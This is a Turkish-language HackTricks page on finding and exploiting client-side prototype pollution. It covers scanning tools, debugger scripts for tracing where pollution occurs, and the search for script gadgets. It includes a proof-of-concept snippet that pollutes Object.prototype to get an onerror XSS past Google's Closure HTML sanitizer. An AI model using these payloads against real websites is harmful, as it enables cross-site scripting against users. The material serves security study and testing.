İstemci Tarafı Prototip Kirlenmesi
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Otomatik Araçlar Kullanarak Keşfetme
Araçlar https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap ve https://github.com/kosmosec/proto-find prototip kirlenmesi zafiyetlerini bulmak için kullanılabilir.
Ayrıca, prototip kirlenmesi zafiyetleri için eriştiğiniz sayfaları otomatik olarak taramak amacıyla PPScan tarayıcı uzantısını da kullanabilirsiniz.
Bir özelliğin nerede kullanıldığını hata ayıklama
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Prototype Pollution'ın Temel Sebebini Bulma
Bir prototype pollution zafiyeti herhangi bir araç tarafından belirlendikten sonra ve eğer kod aşırı karmaşık değilse, Chrome Geliştirici Araçları'nda location.hash
, decodeURIComponent
veya location.search
gibi anahtar kelimeleri arayarak zafiyeti bulabilirsiniz. Bu yaklaşım, JavaScript kodunun zayıf noktasını belirlemenizi sağlar.
Daha büyük ve karmaşık kod tabanları için, zayıf kodu keşfetmenin basit bir yöntemi aşağıdaki adımları içerir:
- Bir aracı kullanarak bir zafiyeti belirleyin ve bir özelliği yapıcıda ayarlamak için tasarlanmış bir yük elde edin. ppmap tarafından sağlanan bir örnek şöyle görünebilir:
constructor[prototype][ppmap]=reserved
. - Sayfada çalışacak ilk JavaScript kodunun satırında bir kesme noktası ayarlayın. Yük ile sayfayı yenileyin ve bu kesme noktasında yürütmeyi durdurun.
- JavaScript yürütmesi duraklatıldığında, JS konsolunda aşağıdaki betiği çalıştırın. Bu betik, 'ppmap' özelliği oluşturulduğunda sinyal verecek ve kökenini bulmanıza yardımcı olacaktır:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Sources sekmesine geri dönün ve “Script yürütmesini devam ettir” seçeneğini seçin. JavaScript çalışmaya devam edecek ve 'ppmap' özelliği beklendiği gibi kirletilecektir. Sağlanan kod parçasını kullanarak 'ppmap' özelliğinin kirletildiği tam yeri belirlemek kolaylaşır. Call Stack'i inceleyerek, kirlenmenin gerçekleştiği farklı yığınlar gözlemlenebilir.
Hangi yığını inceleyeceğinize karar verirken, genellikle JavaScript kütüphane dosyalarıyla ilişkili yığınları hedeflemek faydalıdır, çünkü prototip kirlenmesi genellikle bu kütüphaneler içinde meydana gelir. İlgili yığını, kütüphane dosyalarına olan bağlantısını inceleyerek belirleyin (sağ tarafta, rehberlik için sağlanan bir resme benzer şekilde görünür). Birden fazla yığın olan senaryolarda, örneğin 4. ve 6. satırlarda, mantıklı seçim 4. satırdaki yüktür, çünkü bu, kirlenmenin ilk gerçekleştiği yerdir ve dolayısıyla zafiyetin kök nedenini temsil eder. Yığına tıklamak sizi savunmasız koda yönlendirecektir.
Script Gadget'larını Bulma
Gadget, bir PP zafiyeti keşfedildiğinde kötüye kullanılacak koddur.
Uygulama basitse, srcdoc/innerHTML/iframe/createElement
gibi anahtar kelimeleri arama yapabiliriz ve kaynak kodunu gözden geçirip bunun javascript yürütmesine yol açıp açmadığını kontrol edebiliriz. Bazen, bahsedilen teknikler hiç gadget bulamayabilir. Bu durumda, saf kaynak kodu incelemesi aşağıdaki örnekte olduğu gibi bazı güzel gadget'ları ortaya çıkarır.
Mithil kütüphane kodunda PP gadget bulma örneği
Bu yazıyı kontrol edin: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
Savunmasız kütüphaneler için yüklerin yeniden derlenmesi
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
- https://github.com/BlackFan/client-side-prototype-pollution
HTML Sanitizer'ları PP ile atlatma
Bu araştırma bazı HTML sanitizer kütüphaneleri tarafından sağlanan sanitizasyonları atlatmak için kullanılacak PP gadget'larını göstermektedir:
- sanitize-html
- dompurify
- Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Referanslar
- https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746
- https://blog.s1r1us.ninja/research/PP
- https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.